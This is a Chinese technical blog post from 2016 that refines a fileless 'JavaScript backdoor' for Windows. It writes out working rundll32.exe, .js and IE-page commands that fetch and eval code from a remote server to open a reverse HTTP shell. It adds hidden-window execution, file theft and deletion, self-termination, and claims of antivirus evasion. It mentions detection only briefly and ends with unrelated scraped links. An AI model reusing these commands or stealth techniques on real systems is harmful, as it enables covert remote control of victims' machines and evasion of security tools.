三好学生 · 2016/01/05 10:23

0x00 前言


Casey Smith最近在Twitter分享了他的研究成果,执行一段JavaScript代码即可反弹一个Http Shell,很是奇妙,所以就对这个技术做了进一步研究。

0x01 简介


从截图我们可以看到该技术的使用方法,在cmd下利用rundll32.exe加载JavaScript代码,代码运行后会反弹一个Http Shell,而特别的地方在于当运行完cmd命令后,后台会一直存在进程rundll32.exe用来同Server持续连接,整个过程不需要写入文件,隐蔽性大大提高。

0x02 测试环境


Server:

#!bash
OS:Win7 x64
IP:192.168.174.131
复制代码

Client:

#!bash
OS:Win7 x86
IP:192.168.174.130
复制代码

下载链接:
gist.github.com/subTee/f160…

0x03 实际测试


1、Server启动服务,监听端口

需要将下载脚本中的IP修改为当前主机IP

管理员运行

2、Client加载JavaScript指令

#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);h.Send();B=h.ResponseText;eval(B)
复制代码

3、Server弹回Shell

可以执行cmd命令并获得回显

0x04 测试中的Bug


1、连接超时

在成功返回shell后,如果在后台等待一段时间,Clinet就会弹出超时连接的对话框

从截图可以看到Casey Smith已经发现了连接超时的问题,所以在新版本已经做了修正,加上window.setTimeout来避免连接超时的错误,在message内加了超时判断(message存储用于实现Client后续连接的代码,具体细节一看代码就明白),但是这样做还远远不够。

2、进程残留

如果Server退出,Clinet还会存在rundll32.exe进程

3、执行cmd命令会弹黑框

如果是立即回显的cmd命令,黑框一闪而过

如果是systeminfo这种需要等待的cmd命令,会一直弹出cmd 执行的黑框,等到执行完毕才会退出

4、执行exe会阻塞

比如执行calc.exe,server端会阻塞,直到关闭calc.exe进程才会恢复正常

如图

5、无法删除文件

如图

6、server端无法正常退出

想退出只能强行关闭当前cmd.exe

7、无法上传下载文件

0x05 优化思路


1、对setTimeout的解释

查询相关资料如下:
msdn.microsoft.com/en-us/libra…

文中提到了JavaScript实现WinHttpRequest的用法,如图

setTimeout用来设置http的超时时间,如果全为0,代表no time-out,也就是无限期

注:
在Casey Smith发布的第一个版本尚未修复该方法的时候,我解决该方法的思路是参照微软的方法,对应到代码中就是添加
h.SetTimeouts(0, 0, 0, 0);即可

2、增加try catch方法处理错误消息

Casey Smith在代码中虽然加入了超时判断,但没有对其他可能产生的意外错误做判断,所以需要添加try catch对错误消息进行响应。

try catch不仅能够解决上述问题中的Bug1,同样能用来判断输入的命令能否成功执行(比如输错命令或输错路径)

(相关细节可参照结尾提供的参考代码)

查询相关资料如下:
blog.csdn.net/qdfeitian/a…

3、使用taskkill解决进程残留的问题

Clinet可以使用taskkill来结束自身进程,自动退出

#!js
new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe")
复制代码

4、WScript.Shell对象run和exec的区别

参考资料:

  • www.cnblogs.com/dongzhiquan…
  • msdn.microsoft.com/zh-cn/libra…
  • msdn.microsoft.com/zh-cn/libra…

为了获得cmd命令的回显,Casey Smith采用的方法是使用exec方法,因为只有exec方法的返回值是一个对象,才可以获得控制台输出信息和控制台错误信息

而run方法的返回值是一个整数,就是0或1成功和失败两个状态

但是使用exec方法也有一些弊端,比如测试中的bug3和bug4,这是exec方法本身所无法解决的问题。

而如果使用run方法可以解决bug4

综上,解决思路是对输入的内容做判断,如果是cmd命令,使用exec方法;如果是执行exe,使用run方法

5、解决使用run方法执行命令会弹黑框的问题

参考资料:
msdn.microsoft.com/zh-cn/libra…

如图

run方法其实后面还可以加参数指示该窗口能否被看见

所以在执行比如taskkill的命令就可以使用

#!js
new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true)
复制代码

避免弹出黑框

注:
intWindowStyle参数的说明中提到“Note that not all programs make use of this information.”
例子之一就是用run方法来执行systeminfo这种需要等待的cmd命令是无法隐藏窗口的

6、如何隐蔽执行systeminfo并获取回显

参考了如下资料:
WooYun: 搜狗浏览器远程命令执行之五 "> WooYun: 搜狗浏览器远程命令执行之五

如果使用exec方法,虽然可以获取到回显,但是利用window.moveTo(-1000,-1000)无法移动弹出的黑框

而使用run方法虽然可以移动弹出的黑框,但是无法获得回显

综合这两种方法,最后我们只能退而求其次,使用run方法将执行命令回显的结果输出到文件中,然后再通过读取文件来获取结果

具体实现如下:

(1)使用run方法将systeminfo回显的结果输出到文件中c\test\a.txt

示例代码:

#!js
new ActiveXObject("WScript.Shell").Run("cmd /c systeminfo >>c\test\a.txt",0,true)
复制代码

(2)读取文件并回传

示例代码:

#!js
fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.OpenTextFile(d,1);
g=f.ReadAll();
f.Close();
复制代码

通过调用new ActiveXObject("Scripting.FileSystemObject")读取回显内容,然后再回传信息

(相关细节可参照结尾提供的参考代码)

7、解决连接超时的问题

通过以上的分析,如果要解决连接超时的问题,需要对Clinet执行的命令添加如下功能:

  1. 捕获错误消息
  2. 进程自动退出
  3. 全过程不弹黑框

所以Clinet执行的命令最终优化为:

#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e{new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
复制代码

8、解决server端无法正常退出

加入exit命令判断,如果输入exit,那么Client调用taskkill结束自身,Server同样执行exit退出

(相关细节可参照结尾提供的参考代码)

9、解决删除文件的问题

通过调用new ActiveXObject("Scripting.FileSystemObject")实现

示例代码:

#!js
fso1=new ActiveXObject("Scripting.FileSystemObject");
f =fso1.GetFile(d);
f.Delete();
复制代码

(相关细节可参照结尾提供的参考代码)

10、解决文件上传下载

示例如图:

示例代码可以实现简单的文件上传下载,但里面存在一个小bug,如果你投入精力,不难解决

0x06 补充


1、白名单进程,免疫杀毒软件

由于是通过rundll.exe调用的代码,所以杀毒软件会放行,不会拦截

2、检测

通信协议使用HTTP,通过防火墙拦截流量即可发现其中的攻击行为

3、更多加载方式

(1)js文件

可以放在js文件里面 双击js文件执行

#!js
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://192.168.174.131/connect",false);
try{
h.Send();
B=h.ResponseText;
eval(B);
}
catch(e)
{
new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im wscript.exe",0,true);
}
复制代码

后台进程为wscript.exe

(2)尝试挂在网页里面

#!html
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head><title> new document </title><meta name="generator" content="editplus"><meta name="author" content=""><meta name="keywords" content=""><meta name="description" content=""><script language="javascript" type="text/javascript">
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://192.168.174.131/connect",false);
h.Send();
B=h.ResponseText;
eval(B);
</script>
</head>
<body>
</body>
</html>
复制代码

使用ie打开会提示是否加载控件,如果允许,即可弹回shell

Chrome、Firefox不支持ActiveXObject,所以不会触发

0x07 小结


我在Casey Smith的基础上,对其代码做了进一步优化,对JavaScript Backdoor技术做了进一步研究,感谢他的无私分享,才有了我的这篇文章。

我开发的代码已上传到github,下载链接:
github.com/3gstudent/J…

欢迎下载测试,交流学习。

支持的功能如图

注:
本文仅用来学习交流JavaScript Backdoor技术,并提供了检测方法
同时在文件上传下载的功能上留下了bug,距实际使用还有一点距离,以避免该方法被滥用。

本文由三好学生原创并首发于乌云drops,转载请注明

JavaScript Backdoor相关推荐

  1. 高级组合技打造“完美” 捆绑后门

    0x00 简介 之前写过一篇关于客户端钓鱼的文章:<使用powershell Client进行有效钓鱼>中,在使用各个Client进行测试的过程中,个人发现CHM文件是最好用的一个,但是其 ...

  2. 某雅思培训网站被挂 server.exe / Dropper.Win32.BlackHole.a / Backdoor.Win32.Hupigon.jmq

    某雅思培训网站被挂 server.exe / Dropper.Win32.BlackHole.a/ Backdoor.Win32.Hupigon.jmq endurer 原创 2007-09-12 第 ...

  3. 【AJAX】JavaScript的面向对象

    Ajax中后端数据返回后需要前端通过JavaScript来实现动态数据更新的问题.所以,在Ajax中加深了一遍JavaScript面向对象的印象. 基础部分: JavaScript中创建对象并简单对象 ...

  4. 【JavaScript总结】JavaScript语法基础:JS高级语法

    作用域链: 1.JS中只有函数能够限定作用域的范围: 2.变量处理在制定的函数范围内,还有一个特殊的作用域,就是没有用var 声明的全局作用域 3.js中的作用域链是为了清晰的表示出所有变量的作用范围 ...

  5. 【JavaScript总结】JavaScript语法基础:DOM

    ->DOM的理解:文档对应dom树 ->有了DOM能做什么:DOM的操作 html文档做为DOM树模型,DOM树的节点就是对象.对象会触发事件来执行一些事件代码. C#中的事件是一个委托变 ...

  6. 【JavaScript总结】JavaScript语法基础:JS编码

    运算符 数学:+. -. *. / 逻辑:>. < .>= .<=. == . !=.&&.|| . === .!==(完全等于) 对象相关 new delet ...

  7. 【JavaScript总结】JavaScript语法基础:数据类型

    ------>数据类型有哪些? ->基本类型:数字类型,布尔类型,字符串类型 ->引用类型:对象类型,函数类型 ->空类型:null 和 undefined ->运算符: ...

  8. 【JavaScript总结】JavaScript发展与学习内容

    发展: 最初浏览器是为大学里浏览文档用,从地址栏输入文档地址,找到文档显示. 后来各种需求(购物网站,个人博客)出现,已有功能不能满足需求. 可人们依旧在努力满足这种需求,但实现后的效果很不尽人意. ...

  9. Python:模拟登录、点击和执行 JavaScript 语句案例

    案例一:网站模拟登录 # douban.pyfrom selenium import webdriver from selenium.webdriver.common.keys import Keys ...

  10. [JavaScript] JavaScript数组挖掘,不只是讲数组哟(2)

    课程来源:后盾人 上一篇的内容:[JavaScript] JavaScript数组挖掘,不只是讲数组哟 数组引用类型分析,多维数组,用Array.of为数组创建细节,类型检测与转换,在一个数组后面加一 ...

最新文章

  1. 智源创新中心——与你同行,用AI改变世界
  2. 关于锂离子法拉电容的短路实验
  3. mac系统做云服务器,mac系统的云服务器
  4. python3调用c语言数组,使用Python中的ctypes访问数组
  5. php 禁用通知,推送消息能不能区分禁止通知和卸载两种类型?
  6. shell 的here document 用法、输入/输出重定向
  7. Android如何使用WebView访问https的网站
  8. js 改变change方法_JS获取和设置元素的属性以及属性值
  9. thinkPHP 空模块和空操作、前置操作和后置操作 详细介绍(十四)
  10. 2022年帝国CMS7.5内核精仿《5288商机网》二次开发多个功能,运营级
  11. 你想要的宏基因组-微生物组知识全在这(2021.12)
  12. selenium模拟登录某宝
  13. HTML5编写格式命令详解
  14. 结对编程之经验教训总结
  15. x3+y3+z3=3
  16. PDF定位关键字/词所在坐标及页码
  17. 快速排序算法具体步骤
  18. Windows server 2012镜像下载
  19. 学习四驱飞行器 ,MPU6050的预备知识与概要
  20. 看板管理概述(zt)

热门文章

  1. can软件android,appcan-android
  2. 一款基于java开发的开源监控平台
  3. 【bzoj3505】 Cqoi2014—数三角形
  4. git log查看提交的Author是由谁决定的呢?
  5. Process finished with exit code -1073740791 (0xC0000409)解决方法
  6. 瀚高数据库开启Oracle兼容模块
  7. 特殊字符Unicode编码
  8. librosa实现音频格式转换(单曲批量) | MP3转wav
  9. 上传图片保存到mysql数据库并在网页上显示
  10. 雪花屏幕保护程序(VB.ENT)